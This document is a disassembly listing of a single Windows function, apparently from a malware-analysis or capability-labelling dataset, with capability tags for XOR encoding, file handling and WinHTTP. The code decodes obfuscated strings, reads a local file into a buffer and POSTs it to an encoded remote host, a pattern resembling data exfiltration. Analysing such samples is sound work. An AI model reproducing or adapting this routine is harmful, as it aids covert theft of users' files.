Function at 0x433b48
Capabilities:
Delete file
Encode data using xor
Get file size
Initialize winhttp library
Prepare http request
Read file on windows
Receive http response
Write file on windows

Disassembly:
mov eax, 0x46b10a
call fcn.00468300
sub esp, 0x6c4
movaps xmm0, xmmword [0x47e1b0]
movups xmmword [ebp - 0x15a], xmm0
push ebx
movaps xmm0, xmmword [0x47e250]
xor ebx, ebx
movups xmmword [ebp - 0x14a], xmm0
push esi
movaps xmm0, xmmword [0x47e4a0]
mov esi, edx
movups xmmword [ebp - 0x13a], xmm0
mov edx, ebx
mov dword [ebp - 0x44], ecx
movaps xmm0, xmmword [0x47e130]
push edi
movups xmmword [ebp - 0x12a], xmm0
mov dword [ebp - 0x11a], 0x9386404
mov dword [ebp - 0x116], 0x64052564
mov dword [ebp - 0x112], 0x3f6d1f30
mov word [ebp - 0x10e], 0xa
mov cl, byte [ebp - 0x15a]
xor byte [ebp + edx - 0x159], cl
inc edx
cmp edx, 0x4c
jb 0x433bc3
movaps xmm0, xmmword [0x47e270]
mov ecx, ebx
movups xmmword [ebp - 0xa4], xmm0
mov byte [ebp - 0x10d], bl
movaps xmm0, xmmword [0x47e2c0]
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0x1f4d3f10
mov dword [ebp - 0x80], 0x51512a
mov al, byte [ebp + ecx - 0xa3]
xor al, byte [ebp - 0xa4]
mov byte [ebp + ecx - 0xa3], al
inc ecx
cmp ecx, 0x26
jb 0x433c0b
movaps xmm0, xmmword [0x47e560]
mov edx, ebx
movups xmmword [ebp - 0xf2], xmm0
mov byte [ebp - 0x7d], bl
movaps xmm0, xmmword [str._rDh_a_z_aGf]
movups xmmword [ebp - 0xe2], xmm0
mov dword [ebp - 0xb2], 0x4a5f5a13
movaps xmm0, xmmword [0x47e390]
movups xmmword [ebp - 0xd2], xmm0
mov dword [ebp - 0xae], 0x501e055f
movaps xmm0, xmmword [0x47e340]
movups xmmword [ebp - 0xc2], xmm0
mov dword [ebp - 0xaa], 0x35b535f
mov word [ebp - 0xa6], 0x1c
mov cl, byte [ebp - 0xf2]
xor byte [ebp + edx - 0xf1], cl
inc edx
cmp edx, 0x4c
jb 0x433c89
mov edx, esi
mov byte [ebp - 0xa5], bl
lea ecx, [ebp - 0xf1]
call fcn.00435a97
mov edi, eax
mov dword [ebp - 0x37], 0x160d1436
mov dl, 0x36
mov dword [ebp - 0x33], 0x535a5f50
mov dword [ebp - 0x2f], 0x535b5758
mov ecx, ebx
mov word [ebp - 0x2b], 0x140b
mov byte [ebp - 0x29], bl
xor byte [ebp + ecx - 0x36], dl
inc ecx
cmp ecx, 0xd
jae 0x433ce2
mov dl, byte [ebp - 0x37]
jmp 0x433cd3
lea edx, [ebp - 0x36]
mov byte [ebp - 0x29], bl
mov ecx, edi
call fcn.00435a97
mov edx, esi
mov ecx, eax
call fcn.00435a97
movaps xmm0, xmmword [0x47e500]
mov esi, eax
movups xmmword [ebp - 0xd7], xmm0
mov ecx, ebx
mov word [ebp - 0xa7], 0x5255
movaps xmm0, xmmword [0x47e1f0]
movups xmmword [ebp - 0xc7], xmm0
mov byte [ebp - 0xa5], bl
movaps xmm0, xmmword [0x47e330]
movups xmmword [ebp - 0xb7], xmm0
mov al, byte [ebp + ecx - 0xd6]
xor al, byte [ebp - 0xd7]
mov byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 0x31
jb 0x433d35
lea edx, [ebp - 0xd6]
mov byte [ebp - 0xa5], bl
mov ecx, esi
call fcn.00435a97
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], bl
mov dword [ebp - 4], ebx
xor eax, eax
inc eax
mov dword [ebp - 0x20], ebx
mov dl, 0x7b
mov word [ebp - 0x18], 0x557b
mov byte [ebp - 0x16], al
mov ecx, ebx
mov word [ebp - 0x15], 0xb12
mov byte [ebp - 0x13], bl
xor byte [ebp + ecx - 0x17], dl
inc ecx
cmp ecx, 4
jae 0x433da3
mov dl, byte [ebp - 0x18]
jmp 0x433d94
push 0xb
pop edx
lea ecx, [ebp - 0x10c]
mov byte [ebp - 0x13], bl
call fcn.00435ec5
mov byte [ebp - 4], 1
cmp dword [eax + 0x14], 0x10
jb 0x433dc0
mov eax, dword [eax]
lea edx, [ebp - 0x17]
mov ecx, eax
call fcn.00435a97
mov esi, eax
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
mov edi, eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x28], edi
call fcn.00413e0b
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [0x48cc78]
test esi, esi
jne 0x433e0b
mov dword [ebp - 0x10], ebx
mov eax, 0x10000
mov dword [ebp - 0x1c], ebx
jmp 0x433e52
cmp dword [esi], 2
je 0x433e26
mov ecx, dword [ebp - 0x1a8]
mov eax, 0x80000
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1ac]
jmp 0x433e4f
mov esi, dword [esi + 4]
cmp byte [esi + 0x2c], 0
jne 0x433e36
mov ecx, esi
call fcn.0043ef2c
mov eax, dword [esi + 0x18]
xor edx, edx
mov ecx, dword [esi + 0x20]
test ecx, ecx
mov dword [ebp - 0x1c], eax
mov eax, 0x20000
mov byte [esi + 0x2c], 1
cmovne eax, edx
mov dword [ebp - 0x10], ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x48cc74], eax
call edi
push ebx
mov esi, eax
lea eax, [ebp - 0x1b0]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp - 0x28]
call edi
mov dword [ebp - 0x28], eax
test eax, eax
je 0x43432f
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x18], eax
lea ecx, [eax + 0x800]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x48cc94]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov dword [ebp - 0x1c], ebx
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
push dword [0x48cc94]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
call ebx
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x24]
add eax, esi
mov dword [ebp - 0x10], eax
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
push ecx
call ebx
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x64]
push 0
push ecx
push dword [ebp - 0x18]
add eax, esi
push eax
push dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x64]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xa3]
push eax
call edi
mov edi, dword [ebp - 0x10]
mov esi, eax
lea eax, [ebp - 0xa3]
lea ecx, [esi + 1]
push ecx
push eax
push edi
call ebx
xor ebx, ebx
add edi, esi
sub edi, dword [ebp - 0x1c]
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov edi, eax
push 4
lea eax, [ebp - 0x48]
mov dword [ebp - 0x18], edi
push eax
push 6
push edi
mov dword [ebp - 0x48], 0xf4240
call esi
push 4
lea eax, [ebp - 0x48]
push eax
push 5
push edi
call esi
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1c0]
push eax
push str.__:_:_________n_
push dword [ebp - 0x44]
call fcn.00433b23
lea eax, [ebp - 0x1c0]
push str.https
push eax
call fcn.00445640
add esp, 0x1c
movzx ecx, bl
test eax, eax
push 1
pop eax
cmove ecx, eax
mov dword [ebp - 0x44], ecx
test edi, edi
je 0x43430e
lea eax, [ebp - 0x2d0]
push eax
test cl, cl
je 0x434035
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], bl
call fcn.00413e6c
lea edx, [ebp - 0x40]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1d8]
call fcn.00438eb9
cmp dword [eax + 0x14], 8
jb 0x434012
mov eax, dword [eax]
push ebx
push 0x1bb
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov esi, eax
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x24], esi
call fcn.00413c2d
lea ecx, [ebp - 0x40]
jmp 0x43409a
mov dword [ebp - 0x174], ebx
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], bl
call fcn.00413e6c
lea edx, [ebp - 0x174]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1f0]
call fcn.00438eb9
cmp dword [eax + 0x14], 8
jb 0x434079
mov eax, dword [eax]
push ebx
push 0x50
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x24], eax
mov esi, eax
call fcn.00413c2d
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], bl
call fcn.00413e0b
test esi, esi
je 0x434307
cmp byte [ebp - 0x44], 0
lea eax, [ebp - 0x6d0]
push eax
je 0x434125
mov dword [ebp - 0x18c], ebx
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], bl
call fcn.00413e6c
lea edx, [ebp - 0x18c]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x208]
call fcn.00438eb9
cmp dword [eax + 0x14], 8
jb 0x4340fb
mov eax, dword [eax]
push 0x800100
push ebx
push ebx
push ebx
push eax
push str.POST
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
lea ecx, [ebp - 0x208]
mov edi, eax
call fcn.00413c2d
lea ecx, [ebp - 0x18c]
jmp 0x434191
mov dword [ebp - 0x1a4], ebx
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x194], ebx
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], bl
call fcn.00413e6c
lea edx, [ebp - 0x1a4]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x94]
call fcn.00438eb9
cmp dword [eax + 0x14], 8
jb 0x434169
mov eax, dword [eax]
push 0x100
push ebx
push ebx
push ebx
push eax
push str.POST
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
lea ecx, [ebp - 0x94]
mov edi, eax
call fcn.00413c2d
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], bl
call fcn.00413e0b
test edi, edi
je 0x4342fd
lea eax, [ebp - 0x159]
mov dword [ebp - 0x60], ebx
push eax
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], bl
call fcn.00413e6c
lea edx, [ebp - 0x60]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x10c]
call fcn.00438eb9
cmp dword [eax + 0x14], 8
jb 0x4341da
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
push ebx
push ecx
push ecx
mov ecx, dword [ebp - 0x1c]
push ecx
push 0xffffffffffffffff
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
lea ecx, [ebp - 0x10c]
mov esi, eax
call fcn.00413c2d
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], bl
call fcn.00413e0b
test esi, esi
je 0x434353
push ebx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x43434f
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x434348
mov eax, dword [ebp - 0x20]
inc eax
push eax
call fcn.00440b3f
mov ecx, dword [ebp - 0x20]
mov esi, eax
inc ecx
push ecx
push ebx
push esi
call fcn.00442300
add esp, 0x10
lea eax, [ebp - 0x1b4]
push eax
push dword [ebp - 0x20]
push esi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x4342e9
mov dword [ebp - 0x60], ebx
lea ecx, [ebp - 0x60]
push esi
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], bl
call fcn.00413e6c
mov byte [ebp - 4], 7
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0x10
push dword [ebp - 0x6c]
cmovae eax, dword [ebp - 0x7c]
push eax
push ecx
lea ecx, [ebp - 0x60]
call fcn.0041b165
push eax
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0xf8], ebx
call fcn.00413f58
lea ecx, [ebp - 0x7c]
call fcn.00413e0b
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x7c]
call fcn.00413f58
lea ecx, [ebp - 0x10c]
call fcn.00413e0b
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], bl
call fcn.00413e0b
push esi
call fcn.0044087f
cmp dword [ebp - 0x20], 0
pop ecx
ja 0x43421e
mov esi, dword [ebp - 0x24]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, dword [ebp - 0x18]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [ebp - 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [ebp - 0x7c]
call fcn.00413e0b
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
xor eax, eax
lea ebx, [eax + 1]
jmp 0x43432f
push 2
jmp 0x434355
push 3
pop ebx
jmp 0x43432f